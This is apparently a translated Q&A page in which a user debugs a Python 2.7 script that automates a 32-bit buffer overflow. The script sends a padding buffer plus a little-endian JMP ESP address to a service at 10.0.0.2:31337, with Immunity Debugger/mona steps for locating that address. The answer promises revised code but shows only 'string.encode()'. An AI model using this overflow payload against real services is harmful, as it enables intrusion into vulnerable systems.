通过套接字在raw_input变量中发送转义的十六进制字符串不起作用?

问题描述

请原谅我。我知道我的代码草率且有点黑。

我正在尝试编写一个基于菜单的脚本来自动执行32位缓冲区溢出(作为一点背景知识)的每一步。我执行的大多数步骤都没有问题,但是我尝试在发送缓冲区之前将一系列转义的十六进制字符附加到缓冲区中(请参见下面的代码)。

我已经为Python 2.7和Python 3编写了脚本(使用pwnlib进行p32 little endian处理)。从那以后,我就放弃了Python 3,因为就漏洞利用代码编写而言,它似乎有些乏味。 我遇到的问题是,转义的十六进制字符存储在通过raw_input定义的字符串变量中,没有正确地通过套接字发送。

如果我对转义的十六进制字符进行硬编码,脚本可以完美运行。我敢肯定,我已经读了很多书,知道某种编码存在问题,但是我已经呆了两天,在这一点上,我感到无比沮丧。

Python 2.7

#!/usr/bin/env python2
from binascii import *
import socket,os,time,shlex,subprocess,re,struct,sys,binascii
global RHOST,RPORT,RPORT_str,buf,buf_len,choice,s,command,pattern_create,match_offset,match_offset_str,badchars,eip_verification

def send_buf():
    global RHOST,eip_verification    
    
    while True:
        try:    
            # connect to socket
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((RHOST,RPORT))

            # send buffer fuzz
            s.send(buf + "\n")
            # print out sent block
            print "Sent: {0}".format(buf)
            break
        except:
            print "Failed to connect to server."
            pause = raw_input("Press any key to continue...")

RHOST = "10.0.0.2"
RPORT = 31337
match_offset = 146
command = ""

print "[6] Finding the Right Module"
print 30 * "-","README",30 * "-"
print "Within Immunity Debugger,type the following: \n"
print "!mona modules \n"
print "Note the base address and module name for the module with least protections listed."
print "The idea here is to locate the JMP ESP address used by this module,and overwrite the EIP with that address."
print "!mona find -s \"\\xff\\xe4\" -m <module_name>" 

pointer = raw_input("Enter the pointer address used by the vulnerable module with least protections: ")
print pointer
print "Convert the string above to little endian. (I.E 0x080414c3 -> \\xc3\\x14\\x04\\x08) "

le_pointer = raw_input("Little-endian: ")
#le_pointer = le_pointer.decode("unicode_escape")
buf = command + ("A" * match_offset) + le_pointer
print buf
send_buf()

硬编码le_pointer可以很好地工作,但是我想理解为什么接受raw_input的输入时却不这样做。这两个对象都是字符串,所以我在某个地方有一个基本的误解。

我敢肯定,我需要进一步详细说明,但是我能解决这个问题的任何帮助将不胜感激。

是否有更好的解决方案,可以通过用户输入接受指针地址(即:0x080414c3),将其转换为转义的十六进制,反转字节顺序(对于小端格式),并将其附加到缓冲区中通过套接字正确发送的方式?

像这样硬编码le_pointer可以正常工作。 le_pointer = "\xc3\x14\x04\x08"

解决方法

对于那些努力完成与我相同或相似的任务,对gitStr对象也有困难,或者试图将Python 2.7漏洞转换为Python 3的人,我发现了最好通过Byte将所有字​​符串对象转换为字节,然后直接使用它们。

我通过使用Python 3(由@tripleee推荐),pwntools模块p32,将所有字符串转换为字节并使用这些字符串而不是Python 2.7中的常用字符串来实现了我的目标。

感谢@tripleee和@steve为您澄清我的一些误解,并试图帮助我解决此问题。以下是我针对Python 3修改的代码。

string.encode()

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...